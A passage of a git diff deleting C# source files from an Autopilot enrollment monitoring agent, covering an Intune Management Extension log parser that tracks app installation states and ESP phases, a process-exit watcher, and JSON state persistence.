next line - continue; - } - } - else if (line.StartsWith("")) - { - // Start of a multiline CMTrace entry - multiLineBuffer = new StringBuilder(line); - multiLineCount = 1; - continue; - } - - // --- Normal processing (single-line or completed multiline) --- - CmTraceLogEntry entry; - string messageToMatch; - if (CmTraceLogParser.TryParseLine(line, out entry)) - { - messageToMatch = entry.Message; - } - else - { - // Non-CMTrace line - match raw - messageToMatch = line; - entry = null; - } - - if (string.IsNullOrEmpty(messageToMatch)) continue; - - // Simulation mode delay - if (SimulationMode && entry != null) - { - await ApplySimulationDelay(entry.Timestamp, token); - } - - // Match against active patterns - foreach (var pattern in _activePatterns) - { - try - { - var match = pattern.Regex.Match(messageToMatch); - if (match.Success) - { - WriteMatchLog(filePath, line, pattern.PatternId); - HandlePatternMatch(pattern, match, messageToMatch, entry); - } - } - catch (RegexMatchTimeoutException) - { - _logger.Debug($"ImeLogTracker: regex timeout for pattern '{pattern.PatternId}' — skipped to prevent ReDoS"); - } - } - } - } - - _positionTracker.SetPosition(filePath, stream.Position); - _stateDirty = true; - } - } - catch (FileNotFoundException) { } - catch (IOException ex) - { - _logger.Debug($"ImeLogTracker: IO error reading {filePath}: {ex.Message}"); - } - } - } - - private void HandlePatternMatch(CompiledPattern pattern, Match match, string message, CmTraceLogEntry entry) - { - LastMatchedPatternId = pattern.PatternId; - LastMatchedLogTimestamp = entry?.Timestamp; - try - { - var id = match.Groups["id"]?.Value; - var useCurrentApp = pattern.Parameters.ContainsKey("useCurrentApp") && - pattern.Parameters["useCurrentApp"] == "true"; - - if (useCurrentApp && string.IsNullOrEmpty(id)) - id = _packageStates.CurrentPackageId; - - // Track every app ID seen during the current phase for comprehensive ignore on phase change - if (!string.IsNullOrEmpty(id)) - _seenAppIds.Add(id); - - switch (pattern.Action?.ToLower()) - { - case "imestarted": - HandleImeStarted(); - break; - - case "imeshutdown": - HandleImeShutdown(); - break; - - case "imesessionchange": - var sessionChange = match.Groups["change"]?.Value; - _logger.Debug($"IME session change: {sessionChange}"); - OnImeSessionChange?.Invoke(sessionChange); - break; - - case "espphasedetected": - var phase = match.Groups["espPhase"]?.Value; - if (string.IsNullOrEmpty(phase) && pattern.Parameters.ContainsKey("phase")) - phase = pattern.Parameters["phase"]; - if (!string.IsNullOrEmpty(phase)) - HandleEspPhaseDetected(phase); - break; - - case "setcurrentapp": - if (!string.IsNullOrEmpty(id)) - _packageStates.SetCurrent(id); - break; - - case "imeagentversion": - var version = match.Groups["agentVersion"]?.Value; - if (!string.IsNullOrEmpty(version)) - OnImeAgentVersion?.Invoke(version); - break; - - case "imeimpersonation": - _logger.Debug($"IME impersonation: {match.Groups["user"]?.Value}"); - break; - - case "enrollmentcompleted": - _logger.Info("ImeLogTracker: User session completed detected"); - OnUserSessionCompleted?.Invoke(); - break; - - case "updatestateinstalled": - if (!string.IsNullOrEmpty(id)) - UpdateStateWithCallback(id, AppInstallationState.Installed); - break; - - case "updatestatedownloading": - if (!string.IsNullOrEmpty(id)) - { - var bytes = match.Groups["bytes"]?.Value; - var ofbytes = match.Groups["ofbytes"]?.Value; - if (!string.IsNullOrEmpty(bytes) && !string.IsNullOrEmpty(ofbytes)) - UpdateDownloadingWithCallback(id, bytes, ofbytes); - else - UpdateStateWithCallback(id, AppInstallationState.Downloading); - } - break; - - case "updatestateinstalling": - if (!string.IsNullOrEmpty(id)) - UpdateStateWithCallback(id, AppInstallationState.Installing); - break; - - case "updatestateskipped": - if (!string.IsNullOrEmpty(id)) - UpdateStateWithCallback(id, AppInstallationState.Skipped); - break; - - case "updatestateerror": - // Extract structured error code from named capture groups (exitCode, hresult, errorCode) - var extractedErrorCode = match.Groups["exitCode"]?.Value; - if (string.IsNullOrEmpty(extractedErrorCode)) - extractedErrorCode = match.Groups["hresult"]?.Value; - if (string.IsNullOrEmpty(extractedErrorCode)) - extractedErrorCode = match.Groups["errorCode"]?.Value; - - if (pattern.Parameters.ContainsKey("checkTo") && pattern.Parameters["checkTo"] == "true") - { - // Only apply error if the "to" value is "Error" - var toValue = match.Groups["to"]?.Value; - if (string.Equals(toValue, "Error", StringComparison.OrdinalIgnoreCase) && !string.IsNullOrEmpty(id)) - UpdateStateWithCallback(id, AppInstallationState.Error, errorPatternId: pattern.PatternId, errorDetail: message, errorCode: extractedErrorCode); - } - else if (!string.IsNullOrEmpty(id)) - { - UpdateStateWithCallback(id, AppInstallationState.Error, errorPatternId: pattern.PatternId, errorDetail: message, errorCode: extractedErrorCode); - } - break; - - case "captureexitcode": - var exitCodeVal = match.Groups["exitCode"]?.Value; - if (!string.IsNullOrEmpty(exitCodeVal) && !string.IsNullOrEmpty(_packageStates.CurrentPackageId)) - _packageStates.GetPackage(_packageStates.CurrentPackageId)?.UpdateExitCode(exitCodeVal); - break; - - case "capturehresult": - var hresultVal = match.Groups["hresult"]?.Value; - if (!string.IsNullOrEmpty(hresultVal) && !string.IsNullOrEmpty(_packageStates.CurrentPackageId)) - _packageStates.GetPackage(_packageStates.CurrentPackageId)?.UpdateHResult(hresultVal); - break; - - case "captureappversion": - var appVersionVal = match.Groups["appVersion"]?.Value; - if (!string.IsNullOrEmpty(id) && !string.IsNullOrEmpty(appVersionVal)) - _packageStates.GetPackage(id)?.UpdateAppVersion(appVersionVal); - break; - - case "captureapptypewinget": - if (!string.IsNullOrEmpty(id)) - _packageStates.GetPackage(id)?.UpdateAppType("WinGet"); - break; - - case "captureapptypemsi": - if (!string.IsNullOrEmpty(id)) - _packageStates.GetPackage(id)?.UpdateAppType("MSI"); - break; - - case "captureattemptnumber": - // IME logs "Execute retry 0" for the first attempt. We report attempt+1 so - // the human-friendly value starts at 1 (first attempt). - var attemptVal = match.Groups["attempt"]?.Value; - if (!string.IsNullOrEmpty(attemptVal) && int.TryParse(attemptVal, out var attemptIdx) - && !string.IsNullOrEmpty(_packageStates.CurrentPackageId)) - { - _packageStates.GetPackage(_packageStates.CurrentPackageId)?.UpdateAttemptNumber(attemptIdx + 1); - } - break; - - case "capturedetectionresult": - var detectionVal = match.Groups["detection"]?.Value; - if (!string.IsNullOrEmpty(id) && !string.IsNullOrEmpty(detectionVal)) - _packageStates.GetPackage(id)?.UpdateDetectionResult(detectionVal); - break; - - case "updatestatepostponed": - if (!string.IsNullOrEmpty(id)) - { - // Only postpone if not already in a terminal state - var pkg = _packageStates.GetPackage(id); - if (pkg != null && pkg.InstallationState != AppInstallationState.Installed && - pkg.InstallationState != AppInstallationState.Error) - { - UpdateStateWithCallback(id, AppInstallationState.Postponed); - } - } - break; - - case "esptrackstatus": - HandleEspTrackStatus(match); - break; - - case "policiesdiscovered": - var policiesJson = match.Groups["policies"]?.Value; - if (!string.IsNullOrEmpty(policiesJson)) - HandlePoliciesDiscovered(policiesJson); - break; - - case "ignorecompletedapp": - _packageStates.AddToIgnoreList(_packageStates.CurrentPackageId); - break; - - case "updatename": - var name = match.Groups["name"]?.Value; - if (!string.IsNullOrEmpty(id) && !string.IsNullOrEmpty(name)) - _packageStates.UpdateName(id, name); - break; - - case "updatewin32appstate": - var state = match.Groups["state"]?.Value; - if (!string.IsNullOrEmpty(id) && !string.IsNullOrEmpty(state)) - _packageStates.UpdateStateFromWin32AppState(id, state); - break; - - case "cancelstuckandsetcurrent": - HandleCancelStuckAndSetCurrent(id); - break; - - case "updatedotelemetry": - var doTelJson = match.Groups["doTelJson"]?.Value; - if (!string.IsNullOrEmpty(doTelJson)) - HandleDoTelemetry(doTelJson); - break; - - // PowerShell script tracking actions - case "scriptstarted": - HandleScriptStarted(match, pattern.Parameters); - break; - - case "scriptcontext": - HandleScriptContext(match, pattern.Parameters); - break; - - case "scriptexitcode": - HandleScriptExitCode(match, pattern.Parameters); - break; - - case "scriptoutput": - HandleScriptOutput(match, pattern.Parameters); - break; - - case "scriptcompleted": - HandleScriptCompleted(match, pattern.Parameters); - break; - - default: - _logger.Debug($"ImeLogTracker: unhandled action '{pattern.Action}' for pattern {pattern.PatternId}"); - break; - } - } - catch (Exception ex) - { - _logger.Warning($"ImeLogTracker: error handling match for {pattern.PatternId}: {ex.Message}"); - } - } - - /// - /// Parses [DO TEL] JSON and links it to the correct app via FileId. - /// The FileId contains the app GUID in the format: ...intunewin-bin_{appGuid}_{number} - /// - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeLogTracker.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeLogTracker.cs deleted file mode 100644 index a3067d34..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeLogTracker.cs +++ /dev/null @@ -1,442 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Text.Json; -using System.Text.RegularExpressions; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime -{ - /// - /// Parses IME (Intune Management Extension) log files using regex patterns from the backend. - /// Tracks app installation state transitions and emits strategic events. - /// Split into partial classes: Core, LogProcessing, Handlers. - /// - /// Key design: Regex patterns are NOT hardcoded - they come from backend config via ImeLogPattern list. - /// This allows updating patterns without agent rebuild when Microsoft changes IME log output. - /// - public partial class ImeLogTracker : IDisposable - { - private readonly string _logFolder; - private readonly AgentLogger _logger; - private readonly LogFilePositionTracker _positionTracker = new LogFilePositionTracker(); - private readonly AppPackageStateList _packageStates; - private readonly int _pollingIntervalMs; - private readonly string _matchLogPath; // Optional: path to write every matched raw line - private readonly object _matchLogLock = new object(); - - // Compiled pattern matchers grouped by category - private List _patternsAlways = new List(); - private List _patternsCurrentPhase = new List(); - private List _patternsOtherPhases = new List(); - - // Active matchers (changes based on ESP phase) - private List _activePatterns = new List(); - private bool _logPhaseIsCurrentPhase = false; - - // Phase isolation: track ALL app IDs seen during pattern matching in the current phase. - // On phase change, these are added to the ignore list to prevent device-phase apps from - // bleeding into AccountSetup. This is more comprehensive than only ignoring packageStates - // because setcurrentapp, esptrackstatus etc. see IDs that never enter packageStates. - private readonly HashSet _seenAppIds = new HashSet(StringComparer.OrdinalIgnoreCase); - - // Forward-only phase progression: prevents accidental phase bounce (e.g. DeviceSetup - // re-detected during AccountSetup if IME re-evaluates device apps and logs the old phase). - private static readonly Dictionary EspPhaseOrder = new Dictionary(StringComparer.OrdinalIgnoreCase) - { - { "DeviceSetup", 1 }, - { "AccountSetup", 2 } - }; - private int _currentPhaseOrder = 0; - - // Snapshots of package states from completed ESP phases (e.g. DeviceSetup apps before AccountSetup starts) - private readonly Dictionary>> _phasePackageSnapshots = - new Dictionary>>(StringComparer.OrdinalIgnoreCase); - - // Simulation mode - public bool SimulationMode { get; set; } - public double SpeedFactor { get; set; } = 50; - private DateTime _lastLogTimestamp = DateTime.MinValue; - - // Background task - private Task _pollingTask; - private CancellationTokenSource _cts; - private bool _allAppsCompletedFired; - - // State persistence: saves tracker state to disk so agent restart continues - // from the exact log position without re-parsing or re-building ignore lists. - private readonly ImeTrackerStatePersistence _statePersistence; - private bool _stateDirty; - - // Standard GUID capture pattern used as {GUID} placeholder in patterns - private const string GuidPattern = @"(?[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12})"; - - // Log files to monitor - private static readonly string[] LogFilePatterns = new[] - { - "IntuneManagementExtension.log", - "_IntuneManagementExtension.log", - "IntuneManagementExtension-????????-??????.log", - "AppWorkload.log", - "AppWorkload-????????-??????.log", - // PowerShell script tracking - "AgentExecutor.log", - "AgentExecutor-????????-??????.log", - "HealthScripts.log", - "HealthScripts-????????-??????.log" - }; - - // Script execution state tracking (accumulates multi-line data before emitting events) - private ScriptExecutionState _currentRemediationScript; - private readonly Dictionary _pendingPlatformScripts = - new Dictionary(StringComparer.OrdinalIgnoreCase); - private string _lastPlatformScriptPolicyId; - private const int MaxScriptOutputLength = 2048; - private const int MaxMultiLineBufferLines = 100; - - // Set synchronously during HandlePatternMatch so callbacks can read it - public string LastMatchedPatternId { get; private set; } - public DateTime? LastMatchedLogTimestamp { get; private set; } - - // Callbacks to EnrollmentTracker - public Action OnEspPhaseChanged { get; set; } - public Action OnImeAgentVersion { get; set; } - public Action OnImeStarted { get; set; } - public Action OnAppStateChanged { get; set; } - public Action OnPoliciesDiscovered { get; set; } - public Action OnAllAppsCompleted { get; set; } - public Action OnUserSessionCompleted { get; set; } - public Action OnImeSessionChange { get; set; } - public Action OnDoTelemetryReceived { get; set; } - public Action OnScriptCompleted { get; set; } - - /// - /// Access to the tracked package states - /// - public AppPackageStateList PackageStates => _packageStates; - - /// - /// Snapshots of package states from completed ESP phases (keyed by phase name, e.g. "DeviceSetup"). - /// Captured before package states are cleared on phase transition. - /// - public Dictionary>> PhasePackageSnapshots => _phasePackageSnapshots; - - public ImeLogTracker(string logFolder, List patterns, AgentLogger logger, int pollingIntervalMs = 100, string matchLogPath = null, string stateDirectory = null) - { - _logFolder = Environment.ExpandEnvironmentVariables(logFolder); - _logger = logger; - _pollingIntervalMs = pollingIntervalMs; - _matchLogPath = matchLogPath; - _packageStates = new AppPackageStateList(logger); - - // State persistence setup - if (!string.IsNullOrEmpty(stateDirectory)) - { - _statePersistence = new ImeTrackerStatePersistence(stateDirectory, logger); - } - - if (!string.IsNullOrEmpty(_matchLogPath)) - { - try { Directory.CreateDirectory(Path.GetDirectoryName(_matchLogPath)); } catch { } - _logger.Info($"ImeLogTracker: match log enabled -> {_matchLogPath}"); - } - - CompilePatterns(patterns); - ActivatePatterns(logPhaseIsCurrentPhase: false, force: true); - } - - /// - /// Compiles ImeLogPattern list from backend into Regex objects grouped by category. - /// - public void CompilePatterns(List patterns) - { - _patternsAlways = new List(); - _patternsCurrentPhase = new List(); - _patternsOtherPhases = new List(); - - if (patterns == null) return; - - foreach (var pattern in patterns.Where(p => p.Enabled)) - { - try - { - // Replace {GUID} placeholder with actual GUID capture regex - var regexStr = pattern.Pattern.Replace("{GUID}", GuidPattern); - // Singleline: make '.' match newlines too — required because multiline CMTrace - // entries are reassembled with '\n' chars (e.g. DO TEL JSON in IME >= 1.101) - var regex = new Regex(regexStr, RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline, TimeSpan.FromSeconds(1)); - - var compiled = new CompiledPattern - { - PatternId = pattern.PatternId, - Regex = regex, - Action = pattern.Action, - Parameters = pattern.Parameters ?? new Dictionary() - }; - - switch (pattern.Category?.ToLower()) - { - case "always": - _patternsAlways.Add(compiled); - break; - case "currentphase": - _patternsCurrentPhase.Add(compiled); - break; - case "otherphases": - _patternsOtherPhases.Add(compiled); - break; - default: - _patternsAlways.Add(compiled); // Default to always - break; - } - } - catch (Exception ex) - { - _logger.Warning($"Failed to compile IME pattern {pattern.PatternId}: {ex.Message}"); - } - } - - _logger.Info($"ImeLogTracker: compiled {_patternsAlways.Count} always, {_patternsCurrentPhase.Count} currentPhase, {_patternsOtherPhases.Count} otherPhases patterns"); - - // Re-activate with current phase state - ActivatePatterns(_logPhaseIsCurrentPhase, force: true); - } - - /// - /// Starts the background polling task - /// - public void Start() - { - if (_pollingTask != null) return; - - // Restore persisted state from previous agent lifetime (handles agent restart mid-enrollment). - // This recovers phase order, ignore list, app states, and log file positions so we continue - // exactly where we left off — no re-parsing, no device-phase bleeding. - LoadState(); - - _cts = new CancellationTokenSource(); - var token = _cts.Token; - - _pollingTask = Task.Run(async () => - { - _logger.Info("ImeLogTracker: polling started"); - - while (!token.IsCancellationRequested) - { - try - { - await CheckLogFilesAsync(token); - } - catch (OperationCanceledException) { break; } - catch (Exception ex) - { - _logger.Warning($"ImeLogTracker: error during log check: {ex.Message}"); - try { await Task.Delay(1000, token); } catch (OperationCanceledException) { break; } - } - - // Persist state after each polling cycle so agent restart continues from here - if (_stateDirty) - { - SaveState(); - _stateDirty = false; - } - - try { await Task.Delay(_pollingIntervalMs, token); } catch (OperationCanceledException) { break; } - } - - // Final state save on shutdown - if (_stateDirty) - { - SaveState(); - _stateDirty = false; - } - - _logger.Info("ImeLogTracker: polling stopped"); - }, token); - } - - /// - /// Stops the background polling task - /// - public void Stop() - { - _cts?.Cancel(); - try { _pollingTask?.Wait(TimeSpan.FromSeconds(5)); } catch { } - _pollingTask = null; - } - - #region State Persistence - - /// - /// Loads persisted state from disk. Called on Start() to restore tracker state - /// after an agent restart, so parsing continues exactly where it left off. - /// - private void LoadState() - { - if (_statePersistence == null) return; - - var state = _statePersistence.Load(); - if (state == null) return; - - // Restore phase tracking - _currentPhaseOrder = state.CurrentPhaseOrder; - _lastEspPhaseDetected = state.LastEspPhaseDetected; - _allAppsCompletedFired = state.AllAppsCompletedFired; - _logPhaseIsCurrentPhase = state.LogPhaseIsCurrentPhase; - - // Restore seen app IDs - _seenAppIds.Clear(); - if (state.SeenAppIds != null) - { - foreach (var id in state.SeenAppIds) - _seenAppIds.Add(id); - } - - // Restore ignore list - if (state.IgnoreList != null) - { - foreach (var id in state.IgnoreList) - _packageStates.AddToIgnoreList(id); - } - - // Restore current package ID - _packageStates.CurrentPackageId = state.CurrentPackageId; - - // Restore package states - if (state.Packages != null) - { - _packageStates.Clear(); - foreach (var p in state.Packages) - { - var pkg = AppPackageState.Restore( - p.Id, p.ListPos, p.Name, - (AppRunAs)p.RunAs, (AppIntent)p.Intent, (AppTargeted)p.Targeted, - p.DependsOn != null ? new HashSet(p.DependsOn) : new HashSet(), - (AppInstallationState)p.InstallationState, p.DownloadingOrInstallingSeen, - p.ProgressPercent, p.BytesDownloaded, p.BytesTotal, - errorPatternId: p.ErrorPatternId, errorDetail: p.ErrorDetail, errorCode: p.ErrorCode, - exitCode: p.ExitCode, hresultFromWin32: p.HResultFromWin32, - doFileSize: p.DoFileSize, doTotalBytesDownloaded: p.DoTotalBytesDownloaded, - doBytesFromPeers: p.DoBytesFromPeers, doPercentPeerCaching: p.DoPercentPeerCaching, - doBytesFromLanPeers: p.DoBytesFromLanPeers, doBytesFromGroupPeers: p.DoBytesFromGroupPeers, - doBytesFromInternetPeers: p.DoBytesFromInternetPeers, doDownloadMode: p.DoDownloadMode, - doDownloadDuration: p.DoDownloadDuration, doBytesFromHttp: p.DoBytesFromHttp, - hasDoTelemetry: p.HasDoTelemetry, - appVersion: p.AppVersion, appType: p.AppType, - attemptNumber: p.AttemptNumber, detectionResult: p.DetectionResult); - _packageStates.Add(pkg); - } - } - - // Restore file positions - if (state.FilePositions != null) - { - foreach (var kvp in state.FilePositions) - { - var fullPath = Path.Combine(_logFolder, kvp.Key); - _positionTracker.RestorePosition(fullPath, kvp.Value.Position, kvp.Value.LastKnownSize); - } - } - - // Re-activate patterns based on restored phase state - ActivatePatterns(_logPhaseIsCurrentPhase, force: true); - - _logger.Info($"ImeLogTracker: state restored - phase: {_lastEspPhaseDetected ?? "(none)"} (order: {_currentPhaseOrder}), " + - $"ignore list: {_packageStates.IgnoreList.Count}, packages: {_packageStates.Count}, " + - $"file positions: {state.FilePositions?.Count ?? 0}"); - } - - /// - /// Persists current tracker state to disk as JSON. - /// Called after each polling cycle when state has changed. - /// - private void SaveState() - { - if (_statePersistence == null) return; - - // Build state DTO - var state = new ImeTrackerStateData - { - CurrentPhaseOrder = _currentPhaseOrder, - LastEspPhaseDetected = _lastEspPhaseDetected, - AllAppsCompletedFired = _allAppsCompletedFired, - LogPhaseIsCurrentPhase = _logPhaseIsCurrentPhase, - SeenAppIds = _seenAppIds.ToList(), - IgnoreList = _packageStates.IgnoreList.ToList(), - CurrentPackageId = _packageStates.CurrentPackageId, - Packages = _packageStates.Select(p => new PackageStateData - { - Id = p.Id, - ListPos = p.ListPos, - Name = p.Name, - RunAs = (int)p.RunAs, - Intent = (int)p.Intent, - Targeted = (int)p.Targeted, - DependsOn = p.DependsOn?.ToList() ?? new List(), - InstallationState = (int)p.InstallationState, - DownloadingOrInstallingSeen = p.DownloadingOrInstallingSeen, - ProgressPercent = p.ProgressPercent, - BytesDownloaded = p.BytesDownloaded, - BytesTotal = p.BytesTotal, - ErrorPatternId = p.ErrorPatternId, - ErrorDetail = p.ErrorDetail, - ErrorCode = p.ErrorCode, - ExitCode = p.ExitCode, - HResultFromWin32 = p.HResultFromWin32, - DoFileSize = p.DoFileSize, - DoTotalBytesDownloaded = p.DoTotalBytesDownloaded, - DoBytesFromPeers = p.DoBytesFromPeers, - DoPercentPeerCaching = p.DoPercentPeerCaching, - DoBytesFromLanPeers = p.DoBytesFromLanPeers, - DoBytesFromGroupPeers = p.DoBytesFromGroupPeers, - DoBytesFromInternetPeers = p.DoBytesFromInternetPeers, - DoDownloadMode = p.DoDownloadMode, - DoDownloadDuration = p.DoDownloadDuration, - DoBytesFromHttp = p.DoBytesFromHttp, - HasDoTelemetry = p.HasDoTelemetry, - AppVersion = p.AppVersion, - AppType = p.AppType, - AttemptNumber = p.AttemptNumber, - DetectionResult = p.DetectionResult - }).ToList(), - FilePositions = new Dictionary() - }; - - // Store file positions by filename only (log folder is known) - foreach (var kvp in _positionTracker.GetAllPositions()) - { - var fileName = Path.GetFileName(kvp.Key); - state.FilePositions[fileName] = new FilePositionData - { - Position = kvp.Value.Position, - LastKnownSize = kvp.Value.LastKnownSize - }; - } - - _statePersistence.Save(state); - } - - /// - /// Deletes persisted state file. Called on enrollment complete to ensure - /// a fresh state on the next enrollment cycle. - /// - public void DeleteState() - { - _statePersistence?.Delete(); - } - - #endregion - - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeProcessWatcher.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeProcessWatcher.cs deleted file mode 100644 index 70aab887..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeProcessWatcher.cs +++ /dev/null @@ -1,146 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime -{ - /// - /// Watches for IntuneManagementExtension.exe process exit. - /// Discovers the process once (with retry every 5s), then attaches Process.Exited — - /// no continuous polling after the process is found. - /// Emits ime_process_exited when the process terminates. - /// - public class ImeProcessWatcher : IDisposable - { - private const string ImeProcessName = "IntuneManagementExtension"; - private const int DiscoveryIntervalSeconds = 5; - - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _onEventCollected; - private readonly AgentLogger _logger; - - private Timer _discoveryTimer; - private Process _imeProcess; - private bool _disposed; - private readonly object _lock = new object(); - - public ImeProcessWatcher( - string sessionId, - string tenantId, - Action onEventCollected, - AgentLogger logger) - { - _sessionId = sessionId; - _tenantId = tenantId; - _onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - } - - public void Start() - { - _logger.Info($"ImeProcessWatcher: starting (discovery every {DiscoveryIntervalSeconds}s until {ImeProcessName}.exe is found)"); - _discoveryTimer = new Timer(TryAttach, null, TimeSpan.FromSeconds(3), TimeSpan.FromSeconds(DiscoveryIntervalSeconds)); - } - - /// - /// Tries to find and attach to IntuneManagementExtension.exe. - /// Stops the discovery timer once attached — switches to pure event-driven from there. - /// - private void TryAttach(object state) - { - lock (_lock) - { - if (_disposed || _imeProcess != null) - return; - - Process[] candidates = null; - try - { - candidates = Process.GetProcessesByName(ImeProcessName); - if (candidates.Length == 0) - return; - - var proc = candidates[0]; - for (int i = 1; i < candidates.Length; i++) - candidates[i].Dispose(); - - proc.EnableRaisingEvents = true; - proc.Exited += OnImeExited; - _imeProcess = proc; - - // Suspend discovery timer — now event-driven - _discoveryTimer?.Change(Timeout.Infinite, Timeout.Infinite); - - _logger.Info($"ImeProcessWatcher: attached to {ImeProcessName}.exe (PID={proc.Id})"); - } - catch (Exception ex) - { - _logger.Debug($"ImeProcessWatcher: could not attach to {ImeProcessName}.exe: {ex.Message}"); - - // Dispose any leftover handles from the failed attempt - if (candidates != null) - foreach (var p in candidates) - try { p.Dispose(); } catch { } - } - } - } - - private void OnImeExited(object sender, EventArgs e) - { - if (!(sender is Process proc)) - return; - - int pid = -1; - int exitCode = -1; - double uptimeSeconds = 0; - - try { pid = proc.Id; } catch { } - try { exitCode = proc.ExitCode; } catch { } - try { uptimeSeconds = (proc.ExitTime - proc.StartTime).TotalSeconds; } catch { } - - _logger.Info($"ImeProcessWatcher: {ImeProcessName}.exe exited (PID={pid}, exit={exitCode}, uptime={uptimeSeconds:F0}s)"); - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - Timestamp = DateTime.UtcNow, - EventType = "ime_process_exited", - Severity = EventSeverity.Warning, - Source = "ImeProcessWatcher", - Phase = EnrollmentPhase.Unknown, - Message = $"{ImeProcessName}.exe exited (PID={pid}, exit code={exitCode})", - Data = new Dictionary - { - { "processName", ImeProcessName }, - { "pid", pid }, - { "exitCode", exitCode }, - { "imeUptimeSeconds", Math.Round(uptimeSeconds, 0) } - } - }); - } - - public void Dispose() - { - lock (_lock) - { - if (_disposed) return; - _disposed = true; - - _discoveryTimer?.Dispose(); - _discoveryTimer = null; - - if (_imeProcess != null) - { - try { _imeProcess.Exited -= OnImeExited; } catch { } - _imeProcess.Dispose(); - _imeProcess = null; - } - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeTrackerStatePersistence.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeTrackerStatePersistence.cs deleted file mode 100644 index 5ac70dcf..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeTrackerStatePersistence.cs +++ /dev/null @@ -1,160 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using AutopilotMonitor.Agent.Core.Logging; -using Newtonsoft.Json; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime -{ - /// - /// Handles persistence of ImeLogTracker state to disk (JSON serialization). - /// Extracted from ImeLogTracker to separate I/O concerns from log parsing. - /// - public class ImeTrackerStatePersistence - { - private readonly string _stateDirectory; - private readonly string _stateFilePath; - private readonly AgentLogger _logger; - - public ImeTrackerStatePersistence(string stateDirectory, AgentLogger logger) - { - _stateDirectory = Environment.ExpandEnvironmentVariables(stateDirectory); - _stateFilePath = Path.Combine(_stateDirectory, "ime-tracker-state.json"); - _logger = logger; - } - - public string StateFilePath => _stateFilePath; - - /// - /// Loads persisted state from disk. Returns null if no state file exists or on error. - /// - public ImeTrackerStateData Load() - { - if (!File.Exists(_stateFilePath)) - { - _logger.Info("ImeLogTracker: no persisted state found (fresh enrollment)"); - return null; - } - - try - { - var json = File.ReadAllText(_stateFilePath); - var state = JsonConvert.DeserializeObject(json); - if (state == null) - { - _logger.Warning("ImeLogTracker: persisted state file was empty or invalid"); - return null; - } - return state; - } - catch (Exception ex) - { - _logger.Warning($"ImeLogTracker: failed to load persisted state, starting fresh: {ex.Message}"); - return null; - } - } - - /// - /// Persists tracker state to disk as JSON (atomic write via temp file). - /// - public void Save(ImeTrackerStateData state) - { - try - { - Directory.CreateDirectory(_stateDirectory); - var tempPath = _stateFilePath + ".tmp"; - File.WriteAllText(tempPath, JsonConvert.SerializeObject(state, Formatting.Indented)); - File.Copy(tempPath, _stateFilePath, overwrite: true); - try { File.Delete(tempPath); } catch { } - } - catch (Exception ex) - { - _logger.Debug($"ImeLogTracker: failed to save state: {ex.Message}"); - } - } - - /// - /// Deletes persisted state file. - /// - public void Delete() - { - try - { - if (File.Exists(_stateFilePath)) - { - File.Delete(_stateFilePath); - _logger.Info("ImeLogTracker: persisted state deleted"); - } - } - catch (Exception ex) - { - _logger.Debug($"ImeLogTracker: failed to delete state file: {ex.Message}"); - } - } - } - - // ---- DTOs for state serialization ---- - - public class ImeTrackerStateData - { - public int CurrentPhaseOrder { get; set; } - public string LastEspPhaseDetected { get; set; } - public bool AllAppsCompletedFired { get; set; } - public bool LogPhaseIsCurrentPhase { get; set; } - public List SeenAppIds { get; set; } - public List IgnoreList { get; set; } - public string CurrentPackageId { get; set; } - public List Packages { get; set; } - public Dictionary FilePositions { get; set; } - } - - public class PackageStateData - { - public string Id { get; set; } - public int ListPos { get; set; } - public string Name { get; set; } - public int RunAs { get; set; } - public int Intent { get; set; } - public int Targeted { get; set; } - public List DependsOn { get; set; } - public int InstallationState { get; set; } - public bool DownloadingOrInstallingSeen { get; set; } - public int? ProgressPercent { get; set; } - public long BytesDownloaded { get; set; } - public long BytesTotal { get; set; } - - // Error context - public string ErrorPatternId { get; set; } - public string ErrorDetail { get; set; } - public string ErrorCode { get; set; } - - // Installer result codes - public string ExitCode { get; set; } - public string HResultFromWin32 { get; set; } - - // Delivery Optimization telemetry - public long DoFileSize { get; set; } - public long DoTotalBytesDownloaded { get; set; } - public long DoBytesFromPeers { get; set; } - public int DoPercentPeerCaching { get; set; } - public long DoBytesFromLanPeers { get; set; } - public long DoBytesFromGroupPeers { get; set; } - public long DoBytesFromInternetPeers { get; set; } - public int DoDownloadMode { get; set; } = -1; - public string DoDownloadDuration { get; set; } - public long DoBytesFromHttp { get; set; } - public bool HasDoTelemetry { get; set; } - - // App metadata (captured from IME logs for App Dashboard 